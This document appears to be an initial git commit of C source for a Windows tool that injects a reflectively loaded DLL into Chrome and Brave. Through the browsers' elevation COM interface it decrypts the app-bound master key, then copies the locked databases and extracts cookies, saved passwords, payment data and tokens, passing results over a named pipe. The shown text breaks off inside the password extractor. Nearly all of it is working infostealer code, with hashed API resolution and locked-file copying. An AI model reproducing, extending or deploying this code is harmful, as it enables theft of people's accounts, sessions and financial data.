initial commit

This commit is contained in:
i2p
2026-08-27 11:22:14 -06:00
commit ec0f5dc87a
56 changed files with 284773 additions and 0 deletions
+9
View File
@@ -0,0 +1,9 @@
#ifndef BROWSER_H
#define BROWSER_H
#include "types.h"
bool browser_get_config_for_process(BrowserConfig* config);
bool browser_get_user_data_path(const BrowserConfig* config, wchar_t* path, size_t len);
#endif // BROWSER_H
+21
View File
@@ -0,0 +1,21 @@
#ifndef BUFFER_H
#define BUFFER_H
#include "types.h"
ByteBuffer* buffer_create(size_t initial_capacity);
void buffer_destroy(ByteBuffer* buf);
bool buffer_append(ByteBuffer* buf, const uint8_t* data, size_t len);
bool buffer_resize(ByteBuffer* buf, size_t new_size);
void buffer_clear(ByteBuffer* buf);
StringArray* string_array_create(size_t initial_capacity);
void string_array_destroy(StringArray* arr);
bool string_array_add(StringArray* arr, const char* str);
bool string_array_contains(StringArray* arr, const char* str);
ProfileList* profile_list_create(size_t initial_capacity);
void profile_list_destroy(ProfileList* list);
bool profile_list_add(ProfileList* list, const wchar_t* path);
#endif // BUFFER_H
+12
View File
@@ -0,0 +1,12 @@
#ifndef CRYPTO_H
#define CRYPTO_H
#include "types.h"
ByteBuffer* decrypt_gcm(const uint8_t* key, size_t key_len, const uint8_t* blob, size_t blob_len);
ByteBuffer* get_encrypted_master_key(const wchar_t* local_state_path);
ByteBuffer* decrypt_master_key_via_com(const BrowserConfig* config, const uint8_t* encrypted_key, size_t encrypted_key_len);
#endif // CRYPTO_H
+31
View File
@@ -0,0 +1,31 @@
#ifndef EXTRACTOR_H
#define EXTRACTOR_H
#include "types.h"
#include "sqlite3.h"
typedef struct {
const wchar_t* db_path;
const char* output_name;
const char* sql_query;
} ExtractionConfig;
typedef struct {
const wchar_t* profile_path;
const wchar_t* output_base;
const char* browser_name;
const uint8_t* aes_key;
size_t key_len;
} ExtractionContext;
StringArray* extract_cookies(const ExtractionContext* ctx);
StringArray* extract_passwords(const ExtractionContext* ctx);
StringArray* extract_payments(const ExtractionContext* ctx);
StringArray* extract_tokens(const ExtractionContext* ctx);
bool write_json_array(const wchar_t* file_path, StringArray* entries);
bool write_netscape_cookies(const wchar_t* file_path, StringArray* entries);
void cleanup_temp_files(void);
#endif // EXTRACTOR_H
+9
View File
@@ -0,0 +1,9 @@
#ifndef HANDLE_DUPLICATOR_H
#define HANDLE_DUPLICATOR_H
#include <Windows.h>
#include <stdbool.h>
bool copy_locked_file(const wchar_t* source_path, const wchar_t* dest_path);
#endif // HANDLE_DUPLICATOR_H
+17
View File
@@ -0,0 +1,17 @@
#ifndef ORCHESTRATOR_H
#define ORCHESTRATOR_H
#include "types.h"
typedef struct {
wchar_t pipe_name[256];
wchar_t output_path[MAX_PATH_LEN];
bool extract_fingerprint;
HANDLE pipe_handle;
} OrchestratorConfig;
bool orchestrator_init(OrchestratorConfig* config, const wchar_t* pipe_name);
bool orchestrator_run(OrchestratorConfig* config);
void orchestrator_cleanup(OrchestratorConfig* config);
#endif // ORCHESTRATOR_H
+8
View File
@@ -0,0 +1,8 @@
#ifndef PROFILE_H
#define PROFILE_H
#include "types.h"
ProfileList* profile_find_all(const wchar_t* user_data_root);
#endif // PROFILE_H
+210
View File
@@ -0,0 +1,210 @@
#ifndef REFLECTIVE_LOADER_H
#define REFLECTIVE_LOADER_H
#pragma once
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <intrin.h>
#if defined(_M_X64) || defined(_M_ARM64)
#define ENVIRONMENT64
#else
#error "Unsupported architecture: Reflective Loader is designed for 64-bit environments (x64, ARM64)."
#endif
#if defined(_MSC_VER)
#define DLLEXPORT __declspec(dllexport)
#else
#define DLLEXPORT
#endif
typedef HMODULE(WINAPI *LOADLIBRARYA_FN)(LPCSTR);
typedef FARPROC(WINAPI *GETPROCADDRESS_FN)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI *VIRTUALALLOC_FN)(LPVOID, SIZE_T, DWORD, DWORD);
typedef NTSTATUS(NTAPI *NTFLUSHINSTRUCTIONCACHE_FN)(HANDLE, PVOID, ULONG);
typedef BOOL(WINAPI *DLLMAIN_FN)(HINSTANCE, DWORD, LPVOID);
#define HASH_KEY 13
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
typedef struct _UNICODE_STRING_LDR
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING_LDR, *PUNICODE_STRING_LDR;
typedef struct _PEB_LDR_DATA_LDR
{
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
BOOLEAN ShutdownInProgress;
HANDLE ShutdownThreadId;
} PEB_LDR_DATA_LDR, *PPEB_LDR_DATA_LDR;
typedef struct _LDR_DATA_TABLE_ENTRY_LDR
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING_LDR FullDllName;
UNICODE_STRING_LDR BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
PVOID EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY_LDR, *PLDR_DATA_TABLE_ENTRY_LDR;
typedef struct _PEB_LDR
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN IsPackagedProcess : 1;
BOOLEAN IsAppContainer : 1;
BOOLEAN IsProtectedProcessLight : 1;
BOOLEAN IsLongPathAware : 1;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA_LDR Ldr;
PVOID ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID AtlThunkSListPtr;
PVOID IFEOKey;
union
{
ULONG CrossProcessFlags;
struct
{
ULONG ProcessInJob : 1;
ULONG ProcessInitializing : 1;
ULONG ProcessUsingVEH : 1;
ULONG ProcessUsingVCH : 1;
ULONG ProcessUsingFTH : 1;
ULONG ProcessPreviouslyThrottled : 1;
ULONG ProcessCurrentlyThrottled : 1;
ULONG ProcessImagesHotPatched : 1;
ULONG ReservedBits0 : 24;
};
};
union
{
PVOID KernelCallbackTable;
PVOID UserSharedInfoPtr;
};
ULONG SystemReserved;
ULONG AtlThunkSListPtr32;
PVOID ApiSetMap;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[2];
PVOID ReadOnlySharedMemoryBase;
PVOID SharedData;
PVOID *ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
LARGE_INTEGER CriticalSectionTimeout;
SIZE_T HeapSegmentReserve;
SIZE_T HeapSegmentCommit;
SIZE_T HeapDeCommitTotalFreeThreshold;
SIZE_T HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID *ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
ULONG GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
USHORT OSBuildNumber;
USHORT OSCSDVersion;
ULONG OSPlatformId;
ULONG ImageSubsystem;
ULONG ImageSubsystemMajorVersion;
ULONG ImageSubsystemMinorVersion;
ULONG_PTR ActiveProcessAffinityMask;
ULONG GdiHandleBuffer[60];
PVOID PostProcessInitRoutine;
PVOID TlsExpansionBitmap;
ULONG TlsExpansionBitmapBits[32];
ULONG SessionId;
ULARGE_INTEGER AppCompatFlags;
ULARGE_INTEGER AppCompatFlagsUser;
PVOID pShimData;
PVOID AppCompatInfo;
UNICODE_STRING_LDR CSDVersion;
PVOID ActivationContextData;
PVOID ProcessAssemblyStorageMap;
PVOID SystemDefaultActivationContextData;
PVOID SystemAssemblyStorageMap;
SIZE_T MinimumStackCommit;
PVOID SparePointers[2];
PVOID PatchLoaderData;
PVOID ChpeV2ProcessInfo;
ULONG AppModelFeatureState;
ULONG SpareUlongs[2];
USHORT ActiveConsoleId;
USHORT AppCompatVersionInfo;
PVOID ExtendedProcessInfo;
} PEB_LDR, *PPEB_LDR;
typedef struct _IMAGE_RELOC_ENTRY
{
WORD offset : 12;
WORD type : 4;
} IMAGE_RELOC_ENTRY, *PIMAGE_RELOC_ENTRY;
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter);
#endif
+55
View File
@@ -0,0 +1,55 @@
#ifndef TYPES_H
#define TYPES_H
#include <stdint.h>
#include <stdbool.h>
#include <Windows.h>
#define MAX_PATH_LEN 512
#define MAX_QUERY_LEN 1024
#define MAX_JSON_LEN 4096
#define MAX_NETSCAPE_LEN 4096
#define COOKIE_PLAINTEXT_HEADER_SIZE 32
#define KEY_SIZE 32
#define GCM_IV_LENGTH 12
#define GCM_TAG_LENGTH 16
typedef enum {
PROTECTION_NONE = 0,
PROTECTION_PATH_VALIDATION_OLD = 1,
PROTECTION_PATH_VALIDATION = 2,
PROTECTION_MAX = 3
} ProtectionLevel;
typedef struct {
char name[64];
wchar_t process_name[64];
CLSID clsid;
IID iid;
wchar_t user_data_path[MAX_PATH_LEN];
} BrowserConfig;
typedef struct {
uint8_t* data;
size_t size;
size_t capacity;
} ByteBuffer;
typedef struct {
char** items;
size_t count;
size_t capacity;
} StringArray;
typedef struct {
wchar_t path[MAX_PATH_LEN];
bool is_valid;
} ProfilePath;
typedef struct {
ProfilePath* paths;
size_t count;
size_t capacity;
} ProfileList;
#endif // TYPES_H
+13
View File
@@ -0,0 +1,13 @@
#ifndef UTILS_H
#define UTILS_H
#include "types.h"
bool get_local_appdata_path(wchar_t* path, size_t len);
ByteBuffer* base64_decode(const char* input);
void bytes_to_hex(const uint8_t* bytes, size_t len, char* out, size_t out_len);
char* escape_json_string(const char* str);
bool read_file_content(const wchar_t* path, char** content, size_t* size);
bool write_file_content(const wchar_t* path, const char* content, size_t size);
#endif // UTILS_H
+68
View File
@@ -0,0 +1,68 @@
#include "browser.h"
#include "utils.h"
#include <Windows.h>
#include <ctype.h>
#include <string.h>
#include <stdio.h>
static const CLSID CLSID_CHROME = { 0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B} };
static const IID IID_CHROME = { 0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8} };
static const CLSID CLSID_BRAVE = { 0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B} };
static const IID IID_BRAVE = { 0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9} };
static void init_chrome_config(BrowserConfig* cfg) {
strcpy_s(cfg->name, sizeof(cfg->name), "Chrome");
wcscpy_s(cfg->process_name, 64, L"chrome.exe");
cfg->clsid = CLSID_CHROME;
cfg->iid = IID_CHROME;
wcscpy_s(cfg->user_data_path, MAX_PATH_LEN, L"Google\\Chrome\\User Data");
}
static void init_brave_config(BrowserConfig* cfg) {
strcpy_s(cfg->name, sizeof(cfg->name), "Brave");
wcscpy_s(cfg->process_name, 64, L"brave.exe");
cfg->clsid = CLSID_BRAVE;
cfg->iid = IID_BRAVE;
wcscpy_s(cfg->user_data_path, MAX_PATH_LEN,
L"BraveSoftware\\Brave-Browser\\User Data");
}
bool browser_get_config_for_process(BrowserConfig* config) {
if (!config) return false;
char exe_path[MAX_PATH];
GetModuleFileNameA(NULL, exe_path, MAX_PATH);
char* filename = strrchr(exe_path, '\\');
if (!filename) filename = exe_path;
else filename++;
for (char* p = filename; *p; p++) {
*p = (char)tolower(*p);
}
if (strcmp(filename, "chrome.exe") == 0) {
init_chrome_config(config);
return true;
}
if (strcmp(filename, "brave.exe") == 0) {
init_brave_config(config);
return true;
}
return false;
}
bool browser_get_user_data_path(const BrowserConfig* config, wchar_t* path, size_t len) {
if (!config || !path) return false;
wchar_t appdata[MAX_PATH_LEN];
if (!get_local_appdata_path(appdata, MAX_PATH_LEN)) {
return false;
}
swprintf_s(path, len, L"%s\\%s", appdata, config->user_data_path);
return true;
}
+148
View File
@@ -0,0 +1,148 @@
#include "buffer.h"
#include <string.h>
ByteBuffer* buffer_create(size_t initial_capacity) {
ByteBuffer* buf = malloc(sizeof(ByteBuffer));
if (!buf) return NULL;
buf->data = malloc(initial_capacity);
if (!buf->data) {
free(buf);
return NULL;
}
buf->size = 0;
buf->capacity = initial_capacity;
return buf;
}
void buffer_destroy(ByteBuffer* buf) {
if (!buf) return;
free(buf->data);
free(buf);
}
bool buffer_append(ByteBuffer* buf, const uint8_t* data, size_t len) {
if (!buf || !data) return false;
if (buf->size + len > buf->capacity) {
size_t new_cap = (buf->size + len) * 2;
uint8_t* new_data = realloc(buf->data, new_cap);
if (!new_data) return false;
buf->data = new_data;
buf->capacity = new_cap;
}
memcpy(buf->data + buf->size, data, len);
buf->size += len;
return true;
}
bool buffer_resize(ByteBuffer* buf, size_t new_size) {
if (!buf) return false;
if (new_size > buf->capacity) {
uint8_t* new_data = realloc(buf->data, new_size);
if (!new_data) return false;
buf->data = new_data;
buf->capacity = new_size;
}
buf->size = new_size;
return true;
}
void buffer_clear(ByteBuffer* buf) {
if (buf) buf->size = 0;
}
StringArray* string_array_create(size_t initial_capacity) {
StringArray* arr = malloc(sizeof(StringArray));
if (!arr) return NULL;
arr->items = malloc(sizeof(char*) * initial_capacity);
if (!arr->items) {
free(arr);
return NULL;
}
arr->count = 0;
arr->capacity = initial_capacity;
return arr;
}
void string_array_destroy(StringArray* arr) {
if (!arr) return;
for (size_t i = 0; i < arr->count; i++) {
free(arr->items[i]);
}
free(arr->items);
free(arr);
}
bool string_array_add(StringArray* arr, const char* str) {
if (!arr || !str) return false;
if (arr->count >= arr->capacity) {
size_t new_cap = arr->capacity * 2;
char** new_items = realloc(arr->items, sizeof(char*) * new_cap);
if (!new_items) return false;
arr->items = new_items;
arr->capacity = new_cap;
}
arr->items[arr->count] = _strdup(str);
if (!arr->items[arr->count]) return false;
arr->count++;
return true;
}
bool string_array_contains(StringArray* arr, const char* str) {
if (!arr || !str) return false;
for (size_t i = 0; i < arr->count; i++) {
if (strcmp(arr->items[i], str) == 0) {
return true;
}
}
return false;
}
ProfileList* profile_list_create(size_t initial_capacity) {
ProfileList* list = malloc(sizeof(ProfileList));
if (!list) return NULL;
list->paths = malloc(sizeof(ProfilePath) * initial_capacity);
if (!list->paths) {
free(list);
return NULL;
}
list->count = 0;
list->capacity = initial_capacity;
return list;
}
void profile_list_destroy(ProfileList* list) {
if (!list) return;
free(list->paths);
free(list);
}
bool profile_list_add(ProfileList* list, const wchar_t* path) {
if (!list || !path) return false;
if (list->count >= list->capacity) {
size_t new_cap = list->capacity * 2;
ProfilePath* new_paths = realloc(list->paths, sizeof(ProfilePath) * new_cap);
if (!new_paths) return false;
list->paths = new_paths;
list->capacity = new_cap;
}
wcsncpy_s(list->paths[list->count].path, MAX_PATH_LEN, path, _TRUNCATE);
list->paths[list->count].is_valid = true;
list->count++;
return true;
}
+206
View File
@@ -0,0 +1,206 @@
#include "crypto.h"
#include "utils.h"
#include "buffer.h"
#include <Windows.h>
#include <bcrypt.h>
#include <string.h>
#include <stdlib.h>
#pragma comment(lib, "bcrypt.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
static const uint8_t KEY_PREFIX[] = { 'A', 'P', 'P', 'B' };
static const char V20_PREFIX[] = "v20";
static const size_t V20_PREFIX_LEN = 3;
typedef struct IOriginalBaseElevator IOriginalBaseElevator;
typedef struct IOriginalBaseElevatorVtbl {
// IUnknown methods
HRESULT(STDMETHODCALLTYPE* QueryInterface)(IOriginalBaseElevator* This, REFIID riid, void** ppvObject);
ULONG(STDMETHODCALLTYPE* AddRef)(IOriginalBaseElevator* This);
ULONG(STDMETHODCALLTYPE* Release)(IOriginalBaseElevator* This);
HRESULT(STDMETHODCALLTYPE* RunRecoveryCRXElevated)(IOriginalBaseElevator* This, const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, PULONG_PTR);
HRESULT(STDMETHODCALLTYPE* EncryptData)(IOriginalBaseElevator* This, ProtectionLevel, const BSTR, BSTR*, DWORD*);
HRESULT(STDMETHODCALLTYPE* DecryptData)(IOriginalBaseElevator* This, const BSTR, BSTR*, DWORD*);
} IOriginalBaseElevatorVtbl;
struct IOriginalBaseElevator {
CONST_VTBL struct IOriginalBaseElevatorVtbl* lpVtbl;
};
// A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C
static const IID IID_IOriginalBaseElevator = { 0xA949CB4E, 0xC4F9, 0x44C4, { 0xB2, 0x13, 0x6B, 0xF8, 0xAA, 0x9A, 0xC6, 0x9C } };
ByteBuffer* decrypt_gcm(const uint8_t* key, size_t key_len, const uint8_t* blob, size_t blob_len) {
if (!key || !blob || key_len != KEY_SIZE) return NULL;
const size_t overhead = V20_PREFIX_LEN + GCM_IV_LENGTH + GCM_TAG_LENGTH;
if (blob_len < overhead || memcmp(blob, V20_PREFIX, V20_PREFIX_LEN) != 0) {
return NULL;
}
BCRYPT_ALG_HANDLE alg = NULL;
if (!NT_SUCCESS(BCryptOpenAlgorithmProvider(&alg, BCRYPT_AES_ALGORITHM, NULL, 0))) {
return NULL;
}
BCryptSetProperty(alg, BCRYPT_CHAINING_MODE,
(PUCHAR)BCRYPT_CHAIN_MODE_GCM,
sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
BCRYPT_KEY_HANDLE hkey = NULL;
NTSTATUS status = BCryptGenerateSymmetricKey(alg, &hkey, NULL, 0,
(PUCHAR)key, (ULONG)key_len, 0);
if (!NT_SUCCESS(status)) {
BCryptCloseAlgorithmProvider(alg, 0);
return NULL;
}
const uint8_t* iv = blob + V20_PREFIX_LEN;
const uint8_t* ct = iv + GCM_IV_LENGTH;
const uint8_t* tag = blob + blob_len - GCM_TAG_LENGTH;
ULONG ct_len = (ULONG)(blob_len - overhead);
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO auth_info;
BCRYPT_INIT_AUTH_MODE_INFO(auth_info);
auth_info.pbNonce = (PUCHAR)iv;
auth_info.cbNonce = GCM_IV_LENGTH;
auth_info.pbTag = (PUCHAR)tag;
auth_info.cbTag = GCM_TAG_LENGTH;
ByteBuffer* plain = buffer_create(ct_len > 0 ? ct_len : 1);
if (!plain) {
BCryptDestroyKey(hkey);
BCryptCloseAlgorithmProvider(alg, 0);
return NULL;
}
ULONG out_len = 0;
status = BCryptDecrypt(hkey, (PUCHAR)ct, ct_len, &auth_info,
NULL, 0, plain->data, (ULONG)plain->capacity, &out_len, 0);
BCryptDestroyKey(hkey);
BCryptCloseAlgorithmProvider(alg, 0);
if (!NT_SUCCESS(status)) {
buffer_destroy(plain);
return NULL;
}
plain->size = out_len;
return plain;
}
ByteBuffer* get_encrypted_master_key(const wchar_t* local_state_path) {
if (!local_state_path) return NULL;
char* content = NULL;
size_t size = 0;
if (!read_file_content(local_state_path, &content, &size)) {
return NULL;
}
const char* tag = "\"app_bound_encrypted_key\":\"";
char* pos = strstr(content, tag);
if (!pos) {
free(content);
return NULL;
}
pos += strlen(tag);
char* end_pos = strchr(pos, '"');
if (!end_pos) {
free(content);
return NULL;
}
size_t b64_len = end_pos - pos;
char* b64_key = malloc(b64_len + 1);
if (!b64_key) {
free(content);
return NULL;
}
memcpy(b64_key, pos, b64_len);
b64_key[b64_len] = '\0';
ByteBuffer* decoded = base64_decode(b64_key);
free(b64_key);
free(content);
if (!decoded) return NULL;
if (decoded->size < sizeof(KEY_PREFIX) || memcmp(decoded->data, KEY_PREFIX, sizeof(KEY_PREFIX)) != 0) {
buffer_destroy(decoded);
return NULL;
}
size_t key_len = decoded->size - sizeof(KEY_PREFIX);
memmove(decoded->data, decoded->data + sizeof(KEY_PREFIX), key_len);
decoded->size = key_len;
return decoded;
}
ByteBuffer* decrypt_master_key_via_com(const BrowserConfig* config, const uint8_t* encrypted_key, size_t encrypted_key_len) {
if (!config || !encrypted_key) return NULL;
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
if (FAILED(hr)) return NULL;
IOriginalBaseElevator* pEvelator = NULL;
hr = CoCreateInstance(&config->clsid, NULL, CLSCTX_LOCAL_SERVER, &config->iid, (void**)&pEvelator);
if (FAILED(hr)) {
CoUninitialize();
return NULL;
}
hr = CoSetProxyBlanket((IUnknown*)pEvelator, RPC_C_AUTHN_DEFAULT,
RPC_C_AUTHZ_DEFAULT, COLE_DEFAULT_PRINCIPAL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE, NULL,
EOAC_DYNAMIC_CLOAKING);
BSTR bstr_enc = SysAllocStringByteLen((const char*)encrypted_key, (UINT)encrypted_key_len);
if (!bstr_enc) {
pEvelator->lpVtbl->Release(pEvelator);
CoUninitialize();
return NULL;
}
BSTR bstr_plain = NULL;
DWORD com_err = 0;
hr = pEvelator->lpVtbl->DecryptData(pEvelator, bstr_enc, &bstr_plain, &com_err);
SysFreeString(bstr_enc);
pEvelator->lpVtbl->Release(pEvelator);
if (FAILED(hr) || !bstr_plain) {
CoUninitialize();
return NULL;
}
UINT key_size = SysStringByteLen(bstr_plain);
if (key_size != KEY_SIZE) {
SysFreeString(bstr_plain);
CoUninitialize();
return NULL;
}
ByteBuffer* result = buffer_create(KEY_SIZE);
if (result) {
memcpy(result->data, bstr_plain, KEY_SIZE);
result->size = KEY_SIZE;
}
SysFreeString(bstr_plain);
CoUninitialize();
return result;
}
+45
View File
@@ -0,0 +1,45 @@
#include "orchestrator.h"
#include <Windows.h>
#include <stdio.h>
typedef struct
{
HMODULE hModule_dll;
LPVOID lpPipeNamePointerFromInjector;
} ThreadParams;
DWORD WINAPI decryprion_thread_worker(LPVOID lpParam)
{
ThreadParams* thread_params = (ThreadParams*)lpParam;
OrchestratorConfig config;
if (orchestrator_init(&config, (LPCWSTR)thread_params->lpPipeNamePointerFromInjector)) {
orchestrator_run(&config);
}
orchestrator_cleanup(&config);
FreeLibraryAndExitThread(thread_params->hModule_dll, 0);
free(thread_params);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
{
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hModule);
ThreadParams* thread_params = (ThreadParams*)malloc(sizeof(ThreadParams));
thread_params->hModule_dll = hModule;
thread_params->lpPipeNamePointerFromInjector = lpReserved;
HANDLE hThread = CreateThread(NULL, 0, decryprion_thread_worker, thread_params, 0, NULL);
if (hThread) {
CloseHandle(hThread);
}
else {
free(thread_params);
}
}
return TRUE;
}
+463
View File
@@ -0,0 +1,463 @@
#include "extractor.h"
#include "handle_duplicator.h"
#include "crypto.h"
#include "utils.h"
#include "buffer.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
wchar_t** files;
size_t count;
size_t capacity;
} TempFileList;
static TempFileList* temp_files = NULL;
static void init_temp_files() {
if (!temp_files) {
temp_files = malloc(sizeof(TempFileList));
if (temp_files) {
temp_files->files = malloc(sizeof(wchar_t*) * 10);
temp_files->count = 0;
temp_files->capacity = 10;
}
}
}
static void add_temp_file(const wchar_t* path) {
if (!temp_files) return;
if (temp_files->count >= temp_files->capacity) {
size_t new_cap = temp_files->capacity * 2;
wchar_t** new_files = realloc(temp_files->files, sizeof(wchar_t*) * new_cap);
if (!new_files) return;
temp_files->files = new_files;
temp_files->capacity = new_cap;
}
temp_files->files[temp_files->count] = _wcsdup(path);
temp_files->count++;
}
void cleanup_temp_files() {
if (!temp_files) return;
for (size_t i = 0; i < temp_files->count; i++) {
DeleteFileW(temp_files->files[i]);
free(temp_files->files[i]);
}
free(temp_files->files);
free(temp_files);
temp_files = NULL;
}
static bool open_database(const wchar_t* db_path, sqlite3** db) {
char path_utf8[MAX_PATH_LEN * 3];
int converted = WideCharToMultiByte(CP_UTF8, 0, db_path, -1, path_utf8,
sizeof(path_utf8), NULL, NULL);
if (converted == 0) {
return false;
}
char uri_path[MAX_PATH_LEN * 3 + 20];
sprintf_s(uri_path, sizeof(uri_path), "file:%s?nolock=1", path_utf8);
for (char* p = uri_path; *p; p++) {
if (*p == '\\') *p = '/';
}
int rc = sqlite3_open_v2(uri_path, db,
SQLITE_OPEN_READONLY | SQLITE_OPEN_URI,
NULL);
if (rc != SQLITE_OK) {
if (*db) {
sqlite3_close(*db);
*db = NULL;
}
wchar_t temp_dir[MAX_PATH_LEN];
GetTempPathW(MAX_PATH_LEN, temp_dir);
wcscat_s(temp_dir, MAX_PATH_LEN, L"ChromiumDecryptor\\");
CreateDirectoryW(temp_dir, NULL);
wchar_t temp_file[MAX_PATH_LEN];
swprintf_s(temp_file, MAX_PATH_LEN, L"%s%llu.db", temp_dir, GetTickCount64());
if (!copy_locked_file(db_path, temp_file)) {
return false;
}
init_temp_files();
add_temp_file(temp_file);
WideCharToMultiByte(CP_UTF8, 0, temp_file, -1, path_utf8, sizeof(path_utf8), NULL, NULL);
sprintf_s(uri_path, sizeof(uri_path), "file:%s?nolock=1", path_utf8);
for (char* p = uri_path; *p; p++) {
if (*p == '\\') *p = '/';
}
rc = sqlite3_open_v2(uri_path, db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, NULL);
if (rc != SQLITE_OK) {
if (*db) {
sqlite3_close(*db);
*db = NULL;
}
return false;
}
}
return true;
}
bool write_json_array(const wchar_t* file_path, StringArray* entries) {
if (!file_path || !entries) return false;
FILE* f = NULL;
if (_wfopen_s(&f, file_path, L"w") != 0 || !f) return false;
fprintf(f, "[\n");
for (size_t i = 0; i < entries->count; i++) {
fprintf(f, "%s", entries->items[i]);
if (i < entries->count - 1) {
fprintf(f, ",\n");
}
}
fprintf(f, "\n]\n");
fclose(f);
return true;
}
bool write_netscape_cookies(const wchar_t* file_path, StringArray* entries) {
if (!file_path || !entries) return false;
FILE* f = NULL;
if (_wfopen_s(&f, file_path, L"w") != 0 || !f) return false;
for (size_t i = 0; i < entries->count; i++) {
fprintf(f, "%s\n", entries->items[i]);
}
fclose(f);
return true;
}
StringArray* extract_cookies(const ExtractionContext* ctx) {
if (!ctx) return NULL;
wchar_t db_path[MAX_PATH_LEN];
swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Network\\Cookies", ctx->profile_path);
if (GetFileAttributesW(db_path) == INVALID_FILE_ATTRIBUTES) {
return NULL;
}
sqlite3* db = NULL;
if (!open_database(db_path, &db)) {
return NULL;
}
StringArray* results = string_array_create(100);
if (!results) {
sqlite3_close(db);
return NULL;
}
const char* query =
"SELECT host_key, name, path, is_secure, expires_utc, encrypted_value FROM cookies;";
sqlite3_stmt* stmt = NULL;
if (sqlite3_prepare_v2(db, query, -1, &stmt, NULL) != SQLITE_OK) {
sqlite3_close(db);
string_array_destroy(results);
return NULL;
}
while (sqlite3_step(stmt) == SQLITE_ROW) {
const uint8_t* blob = sqlite3_column_blob(stmt, 5);
int blob_len = sqlite3_column_bytes(stmt, 5);
if (!blob) continue;
ByteBuffer* plain = decrypt_gcm(ctx->aes_key, ctx->key_len, blob, blob_len);
if (!plain || plain->size <= COOKIE_PLAINTEXT_HEADER_SIZE) {
buffer_destroy(plain);
continue;
}
const char* value = (const char*)(plain->data + COOKIE_PLAINTEXT_HEADER_SIZE);
size_t value_len = plain->size - COOKIE_PLAINTEXT_HEADER_SIZE;
char* value_str = malloc(value_len + 1);
if (!value_str) {
buffer_destroy(plain);
continue;
}
memcpy(value_str, value, value_len);
value_str[value_len] = '\0';
const char* host = (const char*)sqlite3_column_text(stmt, 0);
const char* name = (const char*)sqlite3_column_text(stmt, 1);
const char* path = (const char*)sqlite3_column_text(stmt, 2);
int is_secure = sqlite3_column_int(stmt, 3);
long long expires = sqlite3_column_int64(stmt, 4);
long long unix_expiry = (expires / 1000000LL) - 11644473600LL;
char netscape[MAX_JSON_LEN];
snprintf(netscape, sizeof(netscape),
"%s\t%s\t%s\t%s\t%lld\t%s\t%s",
host ? host : "",
(host && host[0] == '.') ? "TRUE" : "FALSE",
path ? path : "/",
is_secure ? "TRUE" : "FALSE",
unix_expiry,
name ? name : "",
value_str
);
string_array_add(results, netscape);
free(value_str);
buffer_destroy(plain);
}
sqlite3_finalize(stmt);
sqlite3_close(db);
return results;
}
StringArray* extract_passwords(const ExtractionContext* ctx) {
if (!ctx) return NULL;
wchar_t db_path[MAX_PATH_LEN];
swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Login Data", ctx->profile_path);
sqlite3* db = NULL;
